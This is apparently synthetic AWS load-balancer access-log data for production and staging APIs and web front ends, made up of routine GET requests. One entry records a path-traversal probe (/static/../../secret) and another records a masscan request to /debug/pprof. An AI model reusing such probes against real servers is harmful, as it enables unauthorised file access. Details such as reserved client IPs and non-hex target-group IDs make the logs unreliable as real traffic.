2024-11-01T02:21:21.789516Z "forward" "-" "-" "2.246.208.213:443" "404" "-" "-" -https 2024-11-01T02:21:22.555364Z prod-api-alb 234.137.241.9:20009 10.0.145.240:443 0.066226 0.467418 0.066994 200 200 647 327 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8b2-36071d1b0c534affaa422e6b" "prod-api-alb.example.com" "-" 5 2024-11-01T02:21:22.555364Z "forward" "-" "-" "10.0.145.240:443" "200" "-" "-" -https 2024-11-01T02:21:23.306599Z prod-web-alb 10.154.222.162:56160 10.0.3.140:443 0.070410 0.329413 0.093655 200 200 163 9696 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8b3-b10685bb641346b2ab0654c0" "prod-web-alb.example.com" "-" 10 2024-11-01T02:21:23.306599Z "forward" "-" "-" "10.0.3.140:443" "200" "-" "-" -http 2024-11-01T02:21:23.743395Z staging-alb 115.10.90.183:45103 160.1.122.47:8080 0.141390 0.702920 0.092242 200 200 867 6915 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8b3-cfe4cdb24507468fb4cbfbf6" "staging-alb.example.com" "-" 9 2024-11-01T02:21:23.743395Z "forward" "-" "-" "160.1.122.47:8080" "200" "-" "-" -https 2024-11-01T02:21:23.858987Z prod-api-alb 238.192.147.168:52043 10.0.98.243:443 0.095026 0.336360 0.034664 200 200 89 14404 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8b3-88d2ca9bcc964f3882c092b4" "prod-api-alb.example.com" "-" 8 2024-11-01T02:21:23.858987Z "forward" "-" "-" "10.0.98.243:443" "200" "-" "-" -http 2024-11-01T02:21:25.123070Z staging-alb 129.225.8.28:16766 240.118.127.153:80 0.131434 0.020968 0.037955 404 404 142 4658 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8b5-03bba1158974489b97e6aa5d" "staging-alb.example.com" "-" 7 2024-11-01T02:21:25.123070Z "forward" "-" "-" "240.118.127.153:80" "404" "-" "-" -https 2024-11-01T02:21:26.233829Z staging-alb 53.112.73.223:38940 52.233.242.93:443 0.019192 0.430958 0.132467 200 200 133 7181 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8b6-d8083af83b7b44628a11b29e" "staging-alb.example.com" "-" 0 2024-11-01T02:21:26.233829Z "forward" "-" "-" "52.233.242.93:443" "200" "-" "-" -http 2024-11-01T02:21:27.928001Z staging-alb 244.69.89.94:63292 17.207.97.112:8080 0.122797 0.282674 0.060174 200 200 546 13561 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8b7-9dcc9096728643029e9bf5b0" "staging-alb.example.com" "-" 5 2024-11-01T02:21:27.928001Z "forward" "-" "-" "17.207.97.112:8080" "200" "-" "-" -https 2024-11-01T02:21:29.317845Z prod-web-alb 1.135.163.244:54170 10.0.18.71:443 0.044010 0.160839 0.083233 404 404 910 12937 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8b9-9d5513ac0fc64920bcc83771" "prod-web-alb.example.com" "-" 5 2024-11-01T02:21:29.317845Z "forward" "-" "-" "10.0.18.71:443" "404" "-" "-" -https 2024-11-01T02:21:30.228395Z prod-web-alb 148.22.190.92:30256 10.0.129.218:443 0.091196 0.385788 0.011002 404 404 337 11184 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8ba-d92a2113356545a197817e14" "prod-web-alb.example.com" "-" 2 2024-11-01T02:21:30.228395Z "forward" "-" "-" "10.0.129.218:443" "404" "-" "-" -http 2024-11-01T02:21:32.208453Z staging-alb 97.49.221.214:22085 46.147.233.30:443 0.147130 0.606760 0.100348 302 302 437 711 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8bc-56e2a84ebc5e4837a3bbb848" "staging-alb.example.com" "-" 1 2024-11-01T02:21:32.208453Z "forward" "-" "-" "46.147.233.30:443" "302" "-" "-" -https 2024-11-01T02:21:33.934343Z staging-alb 199.136.3.63:63674 152.62.80.44:443 0.020497 0.446941 0.076000 200 200 450 11403 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8bd-1930c6548c31479f9856c7e5" "staging-alb.example.com" "-" 5 2024-11-01T02:21:33.934343Z "forward" "-" "-" "152.62.80.44:443" "200" "-" "-" -https 2024-11-01T02:21:34.116450Z prod-web-alb 32.214.250.54:55218 10.0.217.204:443 0.093727 0.337355 0.027579 301 301 999 4708 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8be-7c114ed599be4f25b930648a" "prod-web-alb.example.com" "-" 3 2024-11-01T02:21:34.116450Z "forward" "-" "-" "10.0.217.204:443" "301" "-" "-" -https 2024-11-01T02:21:34.682348Z staging-alb 235.159.246.245:25218 17.21.154.194:443 0.057518 0.464610 0.059546 404 404 647 834 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8be-b844944542714c1e85497d8d" "staging-alb.example.com" "-" 10 2024-11-01T02:21:34.682348Z "forward" "-" "-" "17.21.154.194:443" "404" "-" "-" -https 2024-11-01T02:21:35.459359Z prod-api-alb 193.27.228.130:19296 10.0.192.173:443 0.071577 0.295405 0.083570 403 403 925 8632 "GET /debug/pprof HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8bf-15c058b9d2e1426396e47203" "-" "-" 8 2024-11-01T02:21:35.459359Z "forward" "-" "-" "10.0.192.173:443" "403" "-" "-" -https 2024-11-01T02:21:36.809346Z prod-api-alb 40.101.53.111:38655 10.0.20.186:443 0.008332 0.149927 0.012069 200 200 599 12425 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8c0-dbaff3e3d3db494ca47cfdc2" "prod-api-alb.example.com" "-" 9 2024-11-01T02:21:36.809346Z "forward" "-" "-" "10.0.20.186:443" "200" "-" "-" -https 2024-11-01T02:21:38.727974Z staging-alb 185.181.85.31:20192 103.137.233.254:80 0.123509 0.415887 0.003995 404 404 301 7052 "GET /static/../../secret HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8c2-2abaf749d87e4ccb88ee278d" "-" "-" 2 2024-11-01T02:21:38.727974Z "forward" "-" "-" "103.137.233.254:80" "404" "-" "-" -https 2024-11-01T02:21:39.028318Z prod-api-alb 188.184.120.41:49155 10.0.153.94:443 0.052624 0.319701 0.072053 200 200 330 9919 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8c3-8449caaf5bf34bc5ba7ee597" "prod-api-alb.example.com" "-" 1 2024-11-01T02:21:39.028318Z "forward" "-" "-" "10.0.153.94:443" "200" "-" "-" -http 2024-11-01T02:21:40.716177Z staging-alb 123.118.64.107:40672 168.151.109.60:443 0.082375 0.267024 0.009884 200 200 294 6391 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8c4-1ec953fb4e154347b5df1089" "-" "-" 4 2024-11-01T02:21:40.716177Z "forward" "-" "-" "168.151.109.60:443" "200" "-" "-" -https 2024-11-01T02:21:40.950726Z prod-api-alb 177.17.2.17:55713 10.0.208.29:443 0.001241 0.061596 0.034720 200 200 943 2329 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8c4-fc215347ad6d43e89c83c346" "prod-api-alb.example.com" "-" 0 2024-11-01T02:21:40.950726Z "forward" "-" "-" "10.0.208.29:443" "200" "-" "-" -https 2024-11-01T02:21:42.560544Z prod-api-alb 26.193.84.79:50631 10.0.158.23:443 0.030182 0.075718 0.036593 200 200 64 4889 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8c6-f0c6cf85de924995bd8f7231" "prod-api-alb.example.com" "-" 3 2024-11-01T02:21:42.560544Z "forward" "-" "-" "10.0.158.23:443" "200" "-" "-" -https 2024-11-01T02:21:44.033067Z prod-api-alb 119.207.112.146:38387 10.0.107.50:443 0.016108 0.184601 0.015497 404 404 350 14402 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8c8-1a2dc9ea11b3433e9df1067f" "prod-api-alb.example.com" "-" 6 2024-11-01T02:21:44.033067Z "forward" "-" "-" "10.0.107.50:443" "404" "-" "-" -https 2024-11-01T02:21:44.322734Z prod-web-alb 158.7.248.199:35584 10.0.120.185:443 0.040423 0.303422 0.014262 200 200 395 7459 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8c8-2ba2911509b141d5b46b9de7" "prod-web-alb.example.com" "-" 3 2024-11-01T02:21:44.322734Z "forward" "-" "-" "10.0.120.185:443" "200" "-" "-" -http 2024-11-01T02:21:44.928534Z staging-alb 193.20.225.212:48138 157.0.136.187:80 0.009687 0.681043 0.074847 302 302 557 6871 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8c8-9bc0ceb84bbb4399b59c8fae" "staging-alb.example.com" "-" 7 2024-11-01T02:21:44.928534Z "forward" "-" "-" "157.0.136.187:80" "302" "-" "-" -https 2024-11-01T02:21:45.523851Z prod-api-alb 50.214.30.59:10722 10.0.237.253:443 0.049240 0.250883 0.008643 200 200 854 2433 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8c9-9119db7e9ecf4fc2b2a9c1d2" "prod-api-alb.example.com" "-" 1 2024-11-01T02:21:45.523851Z "forward" "-" "-" "10.0.237.253:443" "200" "-" "-" -https 2024-11-01T02:21:46.854475Z prod-web-alb 51.179.11.236:20240 10.0.97.123:443 0.095825 0.383429 0.088450 301 301 426 14895 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8ca-b9056291f94848a19e4e9924" "prod-web-alb.example.com" "-" 8 2024-11-01T02:21:46.854475Z "forward" "-" "-" "10.0.97.123:443" "301" "-" "-" -https 2024-11-01T02:21:47.423489Z prod-web-alb 175.158.238.227:12299 10.0.226.111:443 0.081881 0.384795 0.092415 200 200 806 13272 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8cb-a600d8d6f55644afb0eaa8a1" "prod-web-alb.example.com" "-" 9 2024-11-01T02:21:47.423489Z "forward" "-" "-" "10.0.226.111:443" "200" "-" "-" -https 2024-11-01T02:21:48.129039Z prod-web-alb 216.213.31.202:53000 10.0.46.184:443 0.054475 0.425501 0.064325 200 200 975 14124 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8cc-8c6f954d7c114fb2845dc642" "prod-web-alb.example.com" "-" 0 2024-11-01T02:21:48.129039Z "forward" "-" "-" "10.0.46.184:443" "200" "-" "-" -https 2024-11-01T02:21:49.672492Z staging-alb 135.132.215.204:14356 54.98.96.104:8080 0.096164 0.598754 0.027789 200 200 384 3199 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8cd-84dc7fae162641d885da63b7" "staging-alb.example.com" "-" 6 2024-11-01T02:21:49.672492Z "forward" "-" "-" "54.98.96.104:8080" "200" "-" "-" -https 2024-11-01T02:21:51.641103Z staging-alb 171.143.213.118:41941 83.10.228.208:8080 0.102269 0.215669 0.079015 200 200 832 1478 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8cf-7290ac763a044c339425ab60" "staging-alb.example.com" "-" 6 2024-11-01T02:21:51.641103Z "forward" "-" "-" "83.10.228.208:8080" "200" "-" "-" -http 2024-11-01T02:21:51.793780Z staging-alb 156.22.92.4:27368 140.242.195.231:80 0.042037 0.439763 0.106631 200 200 834 13815 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8cf-a0bbbb46b5684ff38bdea6ee" "staging-alb.example.com" "-" 4 2024-11-01T02:21:51.793780Z "forward" "-" "-" "140.242.195.231:80" "200" "-" "-" -https 2024-11-01T02:21:53.132543Z prod-web-alb 157.26.149.80:10498 10.0.187.253:443 0.044680 0.255661 0.079600 200 200 539 8061 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8d1-81751d13139546eeafe82e2a" "prod-web-alb.example.com" "-" 2 2024-11-01T02:21:53.132543Z "forward" "-" "-" "10.0.187.253:443" "200" "-" "-" -https 2024-11-01T02:21:55.055527Z prod-web-alb 28.145.110.146:58048 10.0.107.174:443 0.098014 0.286859 0.010770 302 302 596 4673 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8d3-8acc8c1d802c459ab1737a81" "prod-web-alb.example.com" "-" 5 2024-11-01T02:21:55.055527Z "forward" "-" "-" "10.0.107.174:443" "302" "-" "-" -https 2024-11-01T02:21:55.441298Z prod-web-alb 149.115.99.172:18766 10.0.163.111:443 0.097443 0.449465 0.021620 200 200 634 1525 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8d3-f7930762beec4f319e1e35ba" "prod-web-alb.example.com" "-" 4 2024-11-01T02:21:55.441298Z "forward" "-" "-" "10.0.163.111:443" "200" "-" "-" -https 2024-11-01T02:21:56.075033Z prod-web-alb 160.77.159.35:40696 10.0.155.248:443 0.006895 0.193309 0.034756 200 200 381 5474 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8d4-1460d23a74e74c228ae03987" "prod-web-alb.example.com" "-" 5 2024-11-01T02:21:56.075033Z "forward" "-" "-" "10.0.155.248:443" "200" "-" "-" -https 2024-11-01T02:21:57.802082Z prod-api-alb 21.125.164.197:28576 10.0.122.207:443 0.057416 0.003293 0.007673 200 200 599 5584 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8d5-d51002d8528649f38d8c9556" "prod-api-alb.example.com" "-" 10 2024-11-01T02:21:57.802082Z "forward" "-" "-" "10.0.122.207:443" "200" "-" "-" -http 2024-11-01T02:21:58.301362Z staging-alb 101.234.165.154:39625 77.201.102.185:443 0.038032 0.068763 0.110846 301 301 83 236 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8d6-5a1c4fa8fba14fa18ca0a83a" "staging-alb.example.com" "-" 0 2024-11-01T02:21:58.301362Z "forward" "-" "-" "77.201.102.185:443" "301" "-" "-" -https 2024-11-01T02:21:59.614168Z prod-api-alb 210.218.110.254:11625 10.0.207.11:443 0.072937 0.180173 0.062056 404 404 658 10342 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8d7-25273485024e434fab50a6b7" "prod-api-alb.example.com" "-" 5 2024-11-01T02:21:59.614168Z "forward" "-" "-" "10.0.207.11:443" "404" "-" "-" -http 2024-11-01T02:22:01.168070Z staging-alb 37.123.159.135:16725 162.170.119.0:443 0.112107 0.477428 0.015776 200 200 802 13877 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8d9-ecd68464da3145f78d2875b7" "staging-alb.example.com" "-" 9 2024-11-01T02:22:01.168070Z "forward" "-" "-" "162.170.119.0:443" "200" "-" "-" -https 2024-11-01T02:22:01.444949Z prod-api-alb 180.74.21.97:28290 10.0.9.51:443 0.093553 0.188616 0.033813 302 302 841 8600 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8d9-d0808548788141179b7673e4" "prod-api-alb.example.com" "-" 3 2024-11-01T02:22:01.444949Z "forward" "-" "-" "10.0.9.51:443" "302" "-" "-" -https 2024-11-01T02:22:02.866676Z staging-alb 19.63.102.223:45746 155.218.234.180:80 0.059286 0.247062 0.040172 200 200 504 12042 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8da-ccda55354d6a431098d1d2d2" "staging-alb.example.com" "-" 0 2024-11-01T02:22:02.866676Z "forward" "-" "-" "155.218.234.180:80" "200" "-" "-" -https 2024-11-01T02:22:04.148636Z prod-web-alb 186.107.78.35:28849 10.0.86.164:443 0.082455 0.475119 0.022043 301 301 399 926 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8dc-f1c7507d779348b8af77f74d" "prod-web-alb.example.com" "-" 1 2024-11-01T02:22:04.148636Z "forward" "-" "-" "10.0.86.164:443" "301" "-" "-" -http 2024-11-01T02:22:04.778362Z staging-alb 56.47.120.151:44364 220.239.216.254:443 0.073319 0.273468 0.013494 404 404 157 1167 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8dc-5572f8c8c2444f53b438b26f" "staging-alb.example.com" "-" 0 2024-11-01T02:22:04.778362Z "forward" "-" "-" "220.239.216.254:443" "404" "-" "-" -https 2024-11-01T02:22:05.343734Z staging-alb 246.0.0.255:31611 220.66.147.18:80 0.098556 0.296047 0.123747 200 200 473 7757 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8dd-9615565f00484098844dc2c9" "staging-alb.example.com" "-" 3 2024-11-01T02:22:05.343734Z "forward" "-" "-" "220.66.147.18:80" "200" "-" "-" -https 2024-11-01T02:22:05.777007Z prod-web-alb 238.94.61.93:25220 10.0.204.232:443 0.073259 0.412961 0.014775 200 200 570 11585 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8dd-73397dc68c2b418bbfaafc09" "prod-web-alb.example.com" "-" 3 2024-11-01T02:22:05.777007Z "forward" "-" "-" "10.0.204.232:443" "200" "-" "-" -http 2024-11-01T02:22:06.768425Z staging-alb 23.89.153.125:15957 115.224.63.202:80 0.139901 0.377670 0.025387 200 200 245 14365 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8de-917f3f76a1e743a1a3e22cfc" "staging-alb.example.com" "-" 9 2024-11-01T02:22:06.768425Z "forward" "-" "-" "115.224.63.202:80" "200" "-" "-" -http 2024-11-01T02:22:06.944270Z staging-alb 233.219.66.26:56337 216.59.121.13:8080 0.046449 0.080338 0.081774 404 404 342 11951 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8de-d19aa302d27e41dca25cee8f" "staging-alb.example.com" "-" 1 2024-11-01T02:22:06.944270Z "forward" "-" "-" "216.59.121.13:8080" "404" "-" "-" -https 2024-11-01T02:22:07.528291Z prod-web-alb 43.78.187.161:17624 10.0.62.61:443 0.012886 0.226262 0.057389 301 301 581 5087 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8df-e3b2db42ad1c456193f9d224" "prod-web-alb.example.com" "-" 1 2024-11-01T02:22:07.528291Z "forward" "-" "-" "10.0.62.61:443" "301" "-" "-" -https 2024-11-01T02:22:08.832821Z staging-alb 253.93.135.135:12482 162.224.122.219:80 0.141623 0.555686 0.063778 200 200 643 10204 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8e0-247c3a7bdf7349db8bdd0be4" "staging-alb.example.com" "-" 8 2024-11-01T02:22:08.832821Z "forward" "-" "-" "162.224.122.219:80" "200" "-" "-" -https 